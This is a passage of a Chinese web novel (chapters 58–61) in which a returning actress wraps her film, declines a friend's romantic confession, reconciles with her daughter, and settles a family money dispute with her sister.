感谢所有演职人员风雪中的坚守,让破碎与治愈的故事充满温度。 2025,待雪化时,影院见!】 在资源愈发向头部集中的影视圈,一部两千万的文艺电影,一个刚从编剧转型过来的导演,一个才复出的中年女演员,这个组合像是一块投入巨大湖面的小石子,激起几圈浅浅涟漪,并没有引起太大关注。 应真和余姐,还有黄书韵,三个人紧紧抱在一起。作为创梦的第一个项目,大家像养育自己的小孩一样,精心呵护着,将所有心血都注入进去。 工作人员过来找她们合影,两个多月的共事,大部分人应真都能叫出名字。 有个脸圆圆,下巴尖尖的女孩走过来,有些害羞地对她道:“应老师,您能给我签个名吗?真的好喜欢您和黄导啊,下次要是有机会再跟你们一起工作就好了。” 应真认出来,开机那天,大巴上,这个女孩跟一个年轻小伙坐在她前面。她坐在后面,被迫听了一路自己的八卦。 那时候,不只他们,整个剧组上上下下都以为她复出拍电影是玩票的。一起共事两个多月,现在每个人跟她打招呼的时候,笑容都不一样了。 应真本来想开几句玩笑,看到女孩眼睛亮亮地看着自己,便什么都没说,只笑着问了她的名字,在她的手帐本上写了to签。 签完后,女孩又把手帐本递给黄书韵,年轻的面庞满满的真诚:“导演,咱们剧组的氛围是我入行以来干过的剧组里头最好的,真心希望雪在飘大卖。” 黄书韵说了声“谢谢”,然后在应真的签名下签下了自己的名字。 女孩喜滋滋地捧着手帐本去找余平婉签字了。她要集齐这个剧组所有主创的签名。 黄书韵看着她的背影,眼里流露出一丝惆怅:“真羡慕她们还这么年轻,还有大把时间,人生无限可能。” 应真不喜欢听她这种老气横秋的语气,笑着拽着她的胳膊:“你也很年轻!好莱坞导演的平均从业年纪四十二,你比他们都年轻!” 黄书韵因为自己这个身子熬不了夜而沮丧。年轻的时候,几乎天天两三点睡,一点事没有。四十岁一到,才熬几天夜,精力就不济了。 不过,应真的话让她生出一股豪气:“你说的对!前两天莫沉跟我说,一个导演的创作黄金期是三十五岁到五十五岁,还有十五年等着我!” 莫沉是应真拍的那部《孤影江湖》的导演,老爷子已经七十五岁,还在拍电影。 片场设备器材都收拾得差不多,工作人员陆陆续续离开。 余姐走过来,“晚上吃火锅吧。我来点菜。” 她儿子在外地过年,除夕也是一个人。 应真和黄书韵几乎异口同声:“好啊!” 刚杀青完,身体疲惫,精神却很亢奋,想在家里吃顿大餐,却不想动手,火锅是最好的选择。 余姐开了车过来,应真和黄书韵把行李塞进后备箱,准备一起回翠苑。 从万象影视城开车回北市大约一个半小时,今天路上应该不堵,五点前应该能到。 余姐正准备发动车子,有人敲她的窗户,降下玻璃,李长风背着包探头进来:“余姐,年夜饭能不能加双筷子?” 余姐狐疑地看着他,她记得他是北市人,“你这是开玩笑,还是说真的啊?你爸妈这会肯定早做好年夜饭,等你回家吃吧。” 李长风:“我爸妈去琼市了。今年过年我就一个。” 除夕夜一个人吃晚饭有点惨。他都说到这份上,黄书韵和应真自然邀请他一起了。 黄书韵:“我们仨打算回去吃火锅,你要是不嫌弃就跟我们一起。” 应真:“你车还在这吧?我把翠苑地址发你,你开车跟在我们后面。” “有的吃就行了,我不挑。”李长风刚才还空落落的,这会立刻开心起来,嘴角扬了起来,“那你们等我一下,我去把车子开过来。” * 李茹芳和应贤民两口子在厨房里忙着做年夜饭。李茹芳负责准备工作,应贤民负责掌勺。 今年留在身边的儿子女儿都带着一家子回来吃年夜饭了。两口子从腊月就开始腌肉,腌排骨。今天更是天不亮就开始准备年夜饭。 应巧坐在餐桌边剥蒜。她来娘家吃饭,只想带嘴巴来,活是一点不想干。偏偏她爸妈一会使唤她洗木耳,一边使唤她剥蒜。 她都出嫁了,回娘家也逃不开被使唤干活,反倒她嫂子像个公主一样啥也不干,打进门屁股都不带挪一下,坐在那儿嗑瓜子看电视。 应巧心里真的不爽。打小应家就是这样,做家务是女儿的事,儿子啥也不干。姐姐在家的时候,她作为老小,还能偷点懒。姐姐去北市后,家务就到她头上了。 她要是不愿意干,她妈李茹芳就会跟她哭诉个没完。应巧有时候也后悔,早知道就不留在白泉了。当年她大学毕业,姐姐曾在北市给她介绍过一份工作。她干了没几天,就被父母喊了回去。 说白了,爸妈知道哥哥应磊不靠谱,想把她这个女儿留在身边。 可让人恼火的是,应磊败家败成那样了,他来爸妈这,爸妈不仅把他当大爷一样,还把主卧让出来给他睡。 主卧这事就是个导火索,搞得姐姐跟家里断亲。应巧当然是站在姐姐那边的。她爸妈上了年纪,人越发糊涂了。姐姐这些年给爸妈的钱都被他们拿去给应磊填窟窿了。 应磊有什么资格睡家里的主卧?就因为他是儿子吗?这房子是姐姐出钱给爸妈买的,姐姐好心孝顺他们,他们倒好! 应巧本以为自己只是个隔岸观火的。万万没想到,姐姐和家里断亲当晚,爸妈打了一笔钱到她帐户上。 看到上面数字,她吓了一跳。她真没想到爸妈存了这么多私房钱,八十万啊,够在白泉买套房了! 像她爸妈这么抠的父母,一下子给她八十万。应巧突然意识到,爸妈是真的老了。姐姐跟他们断亲,他们慌了,儿子靠不住,后半辈子的指望全放在她这个小女儿身上了。 看到帐户上的数字,应巧既慌张又兴奋。一开始,她有些犹豫,这钱收还是不收。 收下有点对不住姐姐,毕竟这钱是姐姐给他们的。姐姐跟他们断交的当口,自己收下这笔钱,好像变节了一样,跟姐姐不是站在一条战线上了。 但是很快,应巧就被老公几句话打消了顾虑,“你姐都跟你爸妈断亲了,你哥指望不上,两老人养老以后肯定是你的事。这钱你要是不收,万一他们将来生病住院,咱拿什么治?” 这番话说到应巧心坎上了,既然父母养老是她的事,为啥不收? 钱最后她还是收了,事儿她没敢跟姐姐说。 后来姐姐也不知道怎么知道了这件事,很不高兴,对她比以前冷淡了很多。 应巧想来想去,肯定是她嫂子告的状! 哥嫂结婚后,不知道从父母那拿了多少钱。她哥外头欠的赌债全是父母替他还的。爸妈给她一点钱,嫂子竟然有脸跑去姐姐那告状! 应巧一想到这事就一肚子火,冲厨房里道:“妈!这蒜剥得太费劲了,我手都剥疼了,剩下你让我嫂子剥吧!” 正在看电视的嫂子闻言朝她这看了一眼,“这么多够了。下次我带个拉蒜器过来,省得用手了。” 应巧不想理她,刚好姐姐打电话来,她丢下手里的蒜,去房间里接电话了。 她猜姐姐打电话过来,肯定是跟她聊年后她一家子去北市玩的事。 没想想到姐姐一开口就把她吓了一跳,“巧巧,我跟宁君昊离婚了,你以后有什么事别找他了。” 姐姐语气不大好,应巧震惊得说不出话来。不是吧?离婚?姐姐怎么可能跟姐夫离婚啊?! 她虽然平时爱占点小便宜,但还是很要面子的,立刻意识到姐姐打电话跟她说这事的原因。 “姐,上回你说你在剧组拍戏,我怕影响你,就跟姐夫说了一下。瑞瑞一直嚷着想跟然然妹妹玩,我想着不如趁这次带他们去北市,让孩子们一起玩几天。没想到姐夫听说我打算带两个孩去北市,立刻让秘书去安排机票和酒店。” 应巧知道姐姐很喜欢自己两个儿子,赶紧把老大瑞瑞抬出来。她犹豫了一下,期期艾艾地开口道:“姐,那现在怎么办呐?要不……我跟姐夫说,我们今年不去了?” 应真语气很淡:“他安排了就安排了吧。下回你别找他了。还有,我跟宁君昊离婚的事,你跟爸妈说一下。以后宁君昊不是他们女婿了,让他们别有事没事找他。” 接完电话,应巧脑子一团乱。隔了一会才反应过来,自己还没来得及问姐姐,她跟宁君昊离婚,分了多少财产? 李茹芳推门进来:“你姐跟你说了什么?” 应巧整个人还是懵的,目光发直地看着母亲,“我姐说她跟姐夫离婚了,让你们以后有事别找姐夫。” …… 应真跟家里打电话没避着余姐和黄书韵。认识这么多年,她们对她家里的情况都很了解。 挂上电话,应真有些怏怏的:“我一直觉得我爸妈不理解我,我妹多少还理解一点。我跟宁君昊结婚的时候,我跟我妹还是挺亲近的。没想到这些年,也疏远了。” 应真缺失了这十几年的记忆。她不知道自己跟妹妹疏远的原因是什么,只感觉到姐妹关系比以前淡了很多。以前妹妹很依赖她,她在北市拍戏赚钱后,经常转零花钱给妹妹。妹妹到北市找她玩,看到她有什么好看的衣服,只要妹妹喜欢的,应真都会送给她。 但现在她能感觉到,妹妹跟她说话,有种让人别扭的小心翼翼。人与人之间的距离感,是相互的。 黄书韵看她情绪不高,拍了拍她的肩:“我是独生女,没这种体会,让余姐来开导一下你。” 余平婉看得很开:“结婚了,都各自有了各自的家庭。每天一睁眼,一堆事等着,那点子精力操心自己小家的事都不够。姐妹之间比以前淡了也正常。” 她俩你一句我一句劝,应真扑哧笑出来:“你俩真的,都是人生导师!” 黄书韵白她一眼:“你以为这十几年,我们白活的啊?” …… 除夕这一天的北市,宛如空城,街上零星几个路人都脚步匆匆的往家里赶。街头挂起了大红灯笼,春节氛围扑面而来。 李长风的车子一直跟在她们后面。到了翠苑,余姐点的火锅食材连锅子已经送到门口了,全都是处理好的净菜,只需要通电煮就行了。 李长风跟在她们后头进屋,他人身马大,手里拎着几个装着火锅食材的袋子,衬得这套本来面积就不大的两居室更小了。 黄书韵看李长风手脚似乎不知道往哪放,忍不住揶揄:“欢迎光临寒舍!这房子是应真结婚前买的,肯定没办法跟你那大豪宅比。” 李长风被她说得有些不好意思,抬手摸了摸鼻子:“房子也不定要多大,温馨就行了。” 没有比火锅更方便的年夜饭了。黄书韵把自己珍藏一直没舍得喝的红酒拿出来。 四个人边涮火锅边聊天,聊了很多剧组的趣事。 吃到一半,应真的手机响了,是秦毅打过来的。 秦毅前阵子回北市了,说要是处理基金上的事务。也不知道现在是在北市,还是回牧场了。 应真把电话接了起来,那头说了句什么,她有些惊讶道:“现在?” 第59章 第59章“有个词,孺慕,你回去…… 秦毅收到应真发过来的地址,便直接将车子开进翠苑,停在她们单元门口。 小区有些年头了,地理位置不错,设施看上去略显陈旧。倒是四周一大片早园竹,依然挺拔翠绿,给萧瑟的冬天增添了几分生机。 秦毅将车子停好,又给应真打了个电话,等了几分钟就看到一个娇小的身影从单元门出来。 她穿着和上次在宁市看到时一模一样的羽绒服,戴着毛线帽子,整个人鼓鼓囊囊的。可能因为太随意了,她经常给他一种跟年龄不相符的感觉,比如现在,她蹦蹦跳跳跑过来的样子,就很像个小女孩。 这个天外头实在太冷,应真拉开副驾的门坐进去,看到他脸上的伤口愣了一下,“你的脸怎么回事?” 秦毅摸了摸脸颊上那道已经结痂的口子,唇角扯了扯:“这次回来,本来没想去我父亲家的。听我舅舅说,他身体不大好,我还是去了。结果,可能还是不如不去吧。” 这么多年,关于母亲的话题,已经成了秦毅和父亲之间的禁忌。 秦建业现在的妻子试图跟他解释,当年搬家,是她不小心把放着他物品的箱子当作废品处理了,不是他父亲的错。 那个女人小心翼翼地辩解,维护着自己的丈夫,父亲垂着脑袋一声不吭,秦毅却觉得这一切都太讽刺了。 他和母亲已经成了父亲急欲切割的一部分,他的出现不过再次提醒父亲,他曾经娶过一个疯女人的事实。 也许过去的事就应该让它烂在过去,旧事重提毫无意义,秦毅让那个女人不要再提了。 秦建业却觉得儿子对他现在的妻子不礼貌。父子之间爆发了争吵。 秦毅摔了个碗,秦建业反手就将手里的碗砸向儿子。那只碗从他脸颊擦过,留下了一道伤口。 应真听他说完,没有再继续那个话题,而是弯唇笑了笑:“来都来了,怎么不上去啊?书韵和我都不知道你在北市,不然就邀请你跟我们一起吃年夜饭了。我们正在吃火锅,你要不要上去跟我们一起吃?” 那天晚上参观了宁市一中,看到秦毅小时候住过的房子,应真越发觉得自己跟他的经历挺像的。都是很小就离开了家,渐渐地跟原来家庭产生了隔阂。当家人不再把你当成家人,回到从小长大的地方,像个过客一样。 那种孤独感就像是潜伏在身体里的一道无法愈合的伤口,时不时地发作。年轻时,应真为了逃避这种孤独感,急切地想成立自己的家庭。 不知道是除夕夜的缘故,还是因为他开了蓝紫色的氛围灯,应真略带笑意的眉眼流淌出一丝温柔,没了从云顶小镇回来后那种拒人千里之外的冷淡。 秦毅的心情突然没那么恶劣了,没好意思一直看她的眼睛,垂下眼眸笑了笑:“我有点舍不得拒绝你。但这次好像没办法。明天一早的飞机回锡市。萨日娜病了。” 应真听出他话里的暧昧,她的性格,在对方没有明确表示时,只会当作是自己理解错了。 她记得萨日娜,上次在牧场她骑的那匹夸特马,很温驯很漂亮,于是很自然地把话题转到它身上,“怎么会生病?上回在牧场,感觉她很健康啊。在草地上打完滚,还能小跑。” 秦毅:“可能是因为头一回在草原过冬,还没习惯吧,有点拉肚子。兽医去看过了,说没什么大碍。我不放心,还是回去看看。” 说到这,他从后座拿过来一个袋子,“最近太忙了,本来想杀青那天送给你的,没来得及。” 应真接过来,拿出来一看,是个制作精美的相册,一张张充满年代感的照片映入眼帘。第一张就是她穿着白色大衣,满脸笑容地被一群穿着黑、灰、蓝外套戴着眼镜的男生簇拥在中间。 千禧年的大学生,每个人脸上都洋溢着笑容,甚至有人把手搭在她的肩上。大家紧紧挨在一起,完全没有所谓的安全距离。 还有一张她跟Q大校门的合影,咧着嘴笑得像个傻子。 应真一边翻一边笑,脸都笑酸了,“我都快忘了,自己当年竟然在第一学府留下这么多雷人的照片。” 秦毅看她这么高兴,忽然觉得自己花一天时间修复那个硬盘是值得的。 “前几天,我把大学时候用的硬盘修复好了。在里面找到一个相册,全是当年在学校论坛上down下来的照片。我估计这些照片你未必有,就打印出来了。本来想弄到电子相框里给你。现在年纪大了,更喜欢这种能捧在手里,实物的感觉。” 应真并不是个怀旧的人,看到这个精心制作的相册,还是有些感动。在手机还不能上网,没有拍照功能的年代,这些照片都是用相机拍的,像素并不高,但生动、真实,扑面而来的青春气息让人怀念向往。 她将相册搂在怀里:“谢谢。这个相册我会珍藏的。提醒自己艺无止境,不要再荒废时间了。” 毕竟已经荒废了十五了。人生有多少个十五年可以荒废? 秦毅的目光落在她的脸上。她说话时活脱脱当年的模样,唇角弯起的弧度和眼里星星点点的细芒,有点鬼,有点可爱。 一个人怎么可能十几年一点变化没有? 那些藏在心里的话,像卡在喉咙里的鱼刺,已经到了不吐不快的地步,“真真,我知道你现在是单身。如果,我是说如果,你有再开启一段感情的想法,能不能考虑一下我?” 倒底上了年纪,又好多年没有追过女孩子,秦毅感觉当年路演都没这么紧张,鼓足勇气把心里话说出来,脸上已经烫得不行。 应真看到他眼里流淌的温柔、炽热,那是一个男人看向一个女人的眼神。这眼神何曾熟悉,记忆里另一个男人也用这种眼神看过她。 十几年的婚姻后,再炽热的眼神也变得冷淡。如果她是四十岁的应真,一天天经历着这种变化,也许没那么痛苦。可当老天把这中间十几年收走,就像是从赤道突然被发配到南极。 对秦毅,应真好像没办法说很生硬的话语,用开玩笑的语气道:“你别再如果了,没有如果。婚姻我已经经历过了,不想再经历第二次。接下来我会好好拍戏,好好享受单身生活。” 秦毅不死心,他隐隐有一种感觉,如果今天不把话说开,以后可能很难再有机会了。 “我的意思是,万一你哪天打算重新考虑感情了,优先考虑一下我。我知道追求你的人很多……” “你当我这是开饭店呢?生意火爆得要给等位的人发号码牌?”应真看他这样,觉得还是直接挑明得好,“这世上好吃的菜那么多,总不能老盯着一盘菜吃啊。搞IT的男人,我已经嫁过一个。即便以后有重新开始一段感情的想法,我也不会再找IT男了。” 她的话说得很明白。秦毅知道再继续下来可能会让她反感,虽然有些失落,但眼下也只能以朋友的身份继续出现在她的生活里。他有些抱歉道:“希望我刚才说的话,不会让你产生负担。无论如何,我还是希望能一直是你的朋友。” “我们当然是朋友。”应真认真道,又指了指身后楼上,“你真不上去吃饭啊?” “不去了。” “那我回去了。”应真拍了拍怀里的相册,“谢谢。记得拍萨日娜的照片给我。” 她冲他摆了摆手,然后转身往单元楼去,走到一半她又转身跑回来。 秦毅眼睛亮了,按下车窗,目光灼灼地看着她。 应真从口袋里掏出一个东西,扔进他怀里,“这是我拍戏受伤经常会涂的药膏。效果很好。你试试。上回就想给你,忘了。” 她抬起手腕,做了个涂药膏的动作。 秦毅看着她的背影进了单元门,拿着那管药膏看了许久,然后发动汽车离开。 * 吃完火锅,黄书韵烟瘾犯了,去阳台抽烟,瞥了眼楼下,果然看到秦毅的车停在楼下。 这人呐,就是不到黄河不死心。 身后玻璃移门被人打开,李长风走过来,“导演,你别一个人抽啊,给我来一根呗。” 黄书韵摸出烟盒和火机递给他,“戏都拍完了,你怎么还喊我导演啊?我记得你以前都喊我书韵姐的。” 李长风抽出一根烟给自己点上,咧嘴笑:“以前是以前,现在是现在。你也没比我大多少。” 黄书韵:“大三岁,还没大多少?!” 李长风靠在阳台,看着她的头发被风吹得翘了起来。今天,他风也灌了,火锅也吃了,酒也喝了,有话不说出来好像太亏,于是半开玩笑半认真道:“三岁刚好啊。女大三,抱金砖,你没听过?” 黄书韵“啧”地一声,转头看过去,他果然笑得跟朵花似的:“你喝多了?说什么糊话呢?” 李长风:“导演,我说真的。拍千帆雪的时候,我太年轻了,没领略到姐姐的好处。这次合作,我发现我挺喜欢你这种类型的。” 黄书韵也算是见多识广了,当即揶揄他:“啥意思,想搞潜规则啊?这话你干嘛不等到雪在飘上映以后说。这万一要是电影票房不好……” 说到这,她对漆黑的夜空连“呸”三声,“我是说万一,那这可能是我唯一一部电影了,以后肯定没人会投资我。你跟我说这些,到时候,我也没啥资源可以给你。” 黄书韵有些惆怅,她是真的希望《雪在飘》票房大卖啊! 李长风眼里笑容褪去,一脸认真道:“导演,我说真的。我爱上在你手下拍戏的感觉了。每次你一夸我,我恨不得拼了命地再给你来几条。以前我跟很多女导演合作过,都没这种感觉。我一开始也以为自己只是喜欢在你手下当个演员。直到那个秦毅出现,我真TM烦他。除了是雪在飘的投资人,他跟你倒底啥关系啊?我发现自己可能真的爱上你了,不然别的男人出现在你身边,我为啥就是看不顺眼?” 说到后面,他是真的很苦恼的样子。 黄书韵被年轻人的脑回路震惊在那儿,噎了半晌,最后拍了拍他的肩,语重心长道:“有个词,孺慕,你回去查查字典。你这不是爱,最多是小孩对自己觉得亲切的老师和长辈的爱慕之情。你上小学有喜欢的女老师吧?你是不是希望老师只表扬你一个?要是表扬别人你就吃醋?没错,就是你现在这种状态……” 第60章 第60章她发现自己其实挺“妈宝…… 寒假,宁颐然没有去奶奶家,而是报名参加了语言考试。 年夜饭是在小舅公家吃的,小婶婶负责张罗。小婶婶自然不可能自己亲自动手张罗,在饭店订好年夜饭让人送过来。 虽然爸爸妈妈离婚的事还未对外公开,但亲戚们都知道了。只不过在爸爸面前,没人敢提这事。 爸爸一到,就被两个叔叔拉去品酒抽雪茄了。 宁颐然没那么幸运,看爸爸不在,奶奶又在她和婶婶们面前念叨,妈妈心有多黑,离婚分走爸爸很多钱。 从小到大,她就没从奶奶嘴里听过什么关于妈妈的好话。如果是往常,宁颐然可能就当耳旁风一样,懒得理奶奶,今天却越听越烦,当场翻脸:“奶奶,你能不能别一直说我妈了!我爸妈离婚财产怎么分割,是他们之间的事!你老说,烦不烦!” 他们都已经离婚了,奶奶还在这些亲戚面前说个没完。宁颐然不在意亲戚们怎么想,她只是烦透了奶奶一直说一直说。 她冲奶奶发了一通脾气,奶奶终于闭嘴了,脸色僵硬地说什么“我还不是为你和你爸好”之类的话。 宁颐然更加生气了:“你要是为我好,就别再说我妈了!不管怎么说,她是我妈!” 说她妈就等于说她,她不要面子的吗?! 宁颐然气得脸色通红,婶婶们有些尴尬,在一旁打起了圆场。 一个说:“应真嫁给君昊就息影了,这些年一门心思扑在家里,也不容易。” 一个说:“两口子能和平解决已经很好了,毕竟君昊的公司要上市了。” 两个婶婶你一句,我一句,宁颐然懒得听,起身去找爸爸。 除夕夜本来是阖家团圆的日子,表哥表姐都有爸爸妈妈陪在身边。只有她,没有妈妈陪在身旁。奶奶还要在她耳边说那些,谁乐意听! 吃完年夜饭,奶奶让她和爸爸去她那住,爸爸拒绝了,开车带她回了家。 叶阿姨回家过年,家里就剩下父女俩。往年除夕夜,妈妈会让爸爸陪她们一起玩桌游。 今年除夕夜,只有她和爸爸,桌游没法玩,宁颐然跟爸爸一起看了会春晚。 宁君昊看女儿闷闷不乐的,主动提议:“上次在雪顶小镇没有滑雪,是不是很失望?假期要不要去北海道玩几天?” 女儿在宁市,心心念念要去雪顶小镇滑雪,结果那天没滑成就回北市了。宁君昊心里存着些许愧疚。 父女俩还没有单独出门旅行过。今年过年情况特殊,他想多花点时间陪伴女儿。 宁颐然想也不想就拒绝了:“不去了。我约了妈妈,去她那住几天。” 宁君昊转过头,一双漆黑的眼睛紧盯着女儿:“……你什么时候跟你妈妈约的?” “今天在小舅公那,奶奶她们都在打麻将,我给妈妈打了个电话。” “你妈妈她答应了?” “当然。”宁颐然的小脸恢复了一贯的傲娇,“所以,到时候你早点送我去妈妈那。” 从宁市回来后,宁颐然突然对妈妈的工作产生了兴趣,开始在各个社交平台搜索妈妈和妈妈年轻时拍的电影。她还关注了《雪在飘》的微博,知道妈妈的电影杀青了。她猜妈妈春节期间应该有空,于是就给妈妈打了个电话。 果然,妈妈说她春节期间就在北市,哪也不去。 宁颐然在电话里把自己有多无聊多可怜说了一遍,然后撒娇道:“妈妈,我想去你那玩几天。” 妈妈没说什么,只道:“你来我这玩没问题。不过,我这只有两间房。我和书韵阿姨一人一间。你要在我这过夜,只能跟我睡一张床。” 宁颐然不假思索应下:“一张床就一张床!放心,我睡相好得很!” 妈妈重新复出拍戏,她对妈妈的世界充满了好奇。在这种压倒一切的好奇心面前,那些不舒适的地方就是根本不值一提的细枝末节。 …… 宁君昊按女儿吩咐的,一早送她去应真那。 出门前,向来不会在衣服上多花心思的他,比平时多思考了几分钟。 一切收拾妥当,父女俩一起出门。 翠苑,他跟应真谈恋爱时经常来。婚后,应真搬到他在市中心的房子,就没有再来过了。 十几年了,再刻骨铭心的地方也渐渐模糊了。幸好几个月前他曾经送应真到这,不然他不一定记得路。 进了小区,宁颐然发了条信息给妈妈:“妈妈,我快到了,你赶紧下来接我。” 等她到了,妈妈已经站在单元门等她了。她有快一个月没看到妈妈,看着那道熟悉的身影,鼻子突然有些酸,心里面的委屈像拧开盖的汽水,咕嘟咕嘟直往外冒。 妈妈说的那些冷漠话语,这些日子反反复复地在她脑海里回荡着。她再也没办法像以前那样无所顾忌地冲妈妈撒娇发脾气了,可是又忍不住想要寻找妈妈的目光。 是的。她发现自己其实挺“妈宝”的,虽然她很不想承认。 宁颐然心里再委屈,面上还是一如既往的酷酷的表情,下车时叮嘱爸爸:“明天姨妈一家要来了,我要跟瑞瑞哥哥他们一起玩。你过几天再来接我。” 宁君昊当然知道小姨子一家要来,行程都是他让秘书安排的。 他下意识看向应真,应真却并没有看他,只垂眸摸了摸女儿后脑勺:“到时候我送你回去,不用麻烦你爸爸。” 宁君昊下颌线绷紧,眼里掠过一丝不悦:“你和然然的事,我什么时候觉得麻烦了?” 明明女儿出生后,他就是个甩手掌柜,这会倒是大义凛然。 在然然面前,应真还是给他留面子,抬眸看着他:“我到时候打电话给你。” 她正要牵着女儿上楼,宁君昊喊住她:“北市那两套房子我已经让人打扫过了,你随时可以搬进去。颐南公馆那就挺不错的,交通方便,物业也好。翠苑毕竟有些年头了……” 他转了三套房产给应真,她却仍然住在翠苑。宁君昊想起这事就有点胸闷。翠苑再好,年头也长了,物业安保都懒懒散散的。 应真不想继续这个话题,冲他点点头:“有需要我会搬过去。” 宁颐然看了看爸爸,又看了看妈妈,默默地在心里叹了口气,如果他们没离婚该多好。 现在的妈妈对宁颐然而言,既熟悉又陌生。不得不说,妈妈其实很有个性。 以前她一直觉得爸爸才是家里的主心骨,妈妈脑子坏掉了才会跟爸爸离婚。现在却发现,事实好像正好相反。 虽然对妈妈的工作和生活好奇得要命,宁颐然却并没有表露出来,只是在跟死党打游戏的时候,听了几耳朵妈妈跟书韵阿姨的聊天内容。 她们一起聊工作,聊妈妈下一部戏的剧本,一个陌生的世界在宁颐然脑海中慢慢成型。 听着听着,她就听入迷了,以至于玩游戏频频走神,最后索性放下手机不玩了。 书韵阿姨下午有工作,妈妈带着她出去吃饭、逛街。宁颐然喜滋滋地挽着妈妈的胳膊,用撒娇的口吻道:“妈妈,我在你这会不会影响你工作啊。” 应真睨了她一眼:“不会。我要谢谢你来找我,不然我可能会一直呆在家里不出门。” 宁颐然眉眼瞬间舒展开来:“真的啊?那太好了!” 说实话,女儿突然这么粘自己,应真有些不适应。当初那个自私、不尊重人,也没有同理心的小屁孩形象深深印在她脑子里,一时半会根本没办法擦去。 刚好路过商场的室内溜冰场,应真忽然想起一件事,拽着女儿的手上前,“上次在宁市没有滑成雪,今天我陪你一起滑冰吧。” 宁颐然小时候学过滑冰,平时偶尔也跟同学一起来室内冰场玩。她没想到妈妈也会滑,不仅会滑,妈妈的技术比她还要好很多,动作娴熟,身姿灵巧轻盈,冰场好多人都在看她。 这个时候她才意识到妈妈是个演员,对肢体的控制能力比一般人要强很多。 被妈妈拽着手在冰场飞驰,听着刀片和冰面摩擦发出的“嚓嚓”声,看着脚下冰刀犁出的两道冰线,宁颐然忽然觉得心情好多了。 “妈妈!我来画个爱心!” * 李茹芳和应贤民两口子对大女儿离婚的事,最开始是震惊,很快便恢复了淡漠。 反正老大也指望不上了,她是结婚还是离婚跟他们又有多大关系?而且老大那个死倔的性格,大女婿能跟她过下去才怪。 父母这个冷漠的样子,应巧有些心寒。他们要面子,在等姐姐先求和,先给他们给台阶。可是现在姐姐遇到这种事,如果他们能多关心一下,没准跟姐姐的关系就能缓和下来呢? 他们年纪大了,把哥哥嫂嫂当成一家之主,但应巧心里姐姐才是家里的主心骨。 应巧这次带着两个儿子到北市玩,一方面是想看看姐姐现在过得怎么样,另一方面也是想借着这个机会跟姐姐修复关系。 说实话,来之前她是有些忐忑的。来了之后,发现姐姐状态比上次她来北市时好很多,整个人明媚阳光,年轻了许多,一点也看不出经历了离婚打击的样子。 姐姐带着然然,陪他们一家一起去环球影城,逛博物馆,下馆子,三个小孩玩得都很尽兴。 最后一天下午,应真让女儿带着瑞瑞哥哥和玮玮弟弟去电玩城玩,她和妹妹则到附近的咖啡店喝咖啡。 应真给自己和妹妹一人点了一杯咖啡,然后问了问父母的情况。 “爸还是跟以前一样,每天不走个两三万步不罢休。他那个性格你也知道,怎么劝都不听。妈跳广场舞跳得饭也顾不上做了,跟她那群舞友打得火热,把周边景点都玩了个遍……” “该吃吃,该喝喝的,挺好的。” 应真端起咖啡抿了一口。看来自己还是想太多,午夜梦回偶尔会闪过一丝愧疚。殊不知自己跟父母断亲,对老两口的生活根本没有造成任何实质影响。 应巧鼓足勇气,决定把那八十万的事摊开了跟姐姐说,毕竟爸妈养老的钱都是姐姐给的。 “姐,那八十万……爸妈转给我,是指望我给他们养老。你知道的,我哥他靠不住,嫂子又是那种斤斤计较的性子……” 一桩桩往事从妹妹嘴里说出来,应真总算明白自己跟妹妹之间的关系因为什么而疏远。 原本她跟父母吵架断亲那天晚上,父母转了八十万给妹妹。 应巧硬着头皮小心翼翼开口道:“姐,你不会还因为那八十万生我的气吧?你要是觉得我不该收这笔钱,我回去就转给他们。” 看着妹妹那张涨得通红的脸,应真心里生出一丝困惑:她是因为那八十万生妹妹的气吗? 表面上看好像是,但实际上,她不过是把对父母的怨气迁怒到妹妹身上而已。 老两口为了儿子的赌债,卖房子填窟窿,哪怕大女儿要跟他们断亲,也要把自己睡的主卧让给宝贝儿子睡。为了哄小女儿,能立刻将养老钱转过去。 父母重男轻女,应真已经认了。只是没想自己十几岁北漂,扛起养家重担,从父母那得到的爱,比妹妹得到的还要少。 她已经接受了重男轻女,却万万接受不了同为女儿,自己是最不被爱的那个。 这大概才是最让她不甘心的地方啊。 明白自己因为什么而意难平,应真胸口郁积的那团气倏地散了,冲妹妹摇了摇头,“其实我不是在生你的气。我是在生他们的气。那八十万,他们既然给了,你就收下。他们省了一辈子,也抠了一辈,能转那么多钱给你,说明他们还是爱你的。钱你留着,以后他们要是有个头疼脑热,你离得近,还得靠你多照顾。” 从姐姐这得到了自己想要的答应,应巧松了口气,笑嘻嘻道:“姐,那这钱我就收下了。我就说嘛,你最好了。以后爸妈老了,真要是得了什么大病,你肯定不会不管的。” 应真神色恢复了淡漠,语气更淡:“不,巧巧,我不会再管。你知道他们转给你那笔钱意味着什么。你才是他们最终选中的那个养老送终的孩子。” 应巧愕然地看着姐姐,有些不可置信,然而看到姐姐眉眼间那片决绝的冷然,她脸色瞬间灰败下来。 恍然间,她意识到一件事:姐姐是真的跟父母断绝往来了。 从小到大,一直秉持着自己是家里老小,天塌了有姐姐和哥哥撑着的应巧,第一次感觉到前面空荡荡的。 以后没人替自己撑。想到这,应巧眼泪便再也忍不住。【你现在阅读的是魔蝎小说 moxiexs】 第61章【正文完结】 第61章 第61章【正文完结】…… 那天李长风的一番话,黄书韵根本没往心里去。 演员这个职业的特殊性,两个多月的相夕相处,出现情感上的错认很正常。 当然,这里头还有个她不大愿意承认的点:如果她是个很美丽很有性魅力的女人,李长风跟她说了那么一番话,她没准会继续跟他暧昧下去。 养鱼,谁不会?他那么帅,睡一下,她也不吃亏。 可问题是,她就是个普普通通的四十岁女人。人家撩她,不过是因为她身上那个导演的身份。 黄书韵一向将工作和感情分得很开。 话是这么说,看在李长风还算真诚的份上,她耐着性子把他安抚了一通。 好演员都是易感脆弱人群。 李长风果然被她说动了,听到她说“孺慕”,眼里露出迷茫之色。 黄书韵让他回去好好休息,多见见朋友,等宣传期再见。 李长风回去后,除了在朋友圈发些自己健身的照片,没再跟她联系了。 黄书韵越发觉得自己很明智,他那天就是喝多了。 《雪在飘》拍摄结束了,演员的工作暂时告一段落,后期剪辑的工作才刚开始。年一过,黄书韵就开始盯着剪辑组,先把所有素材过一遍,确定剪辑方向,然后进行第一轮粗剪。 余姐开始联系圈子里几家口碑不错的宣发公司,打算从里头物色一家合适的来给《雪在飘》做宣发。 应真接了陈卓推荐她出演的那部电视剧,三月初就要开机了,这次的角色是个丈夫入狱后扛起家族企业重担的女总裁。 春节假期结束后,她便全身心投入到角色准备当中,看剧本,减重,早睡早起,作息规律无比。 重新搬到翠苑,应真有一种这才是属于她的生活,一切终于归位的感觉。 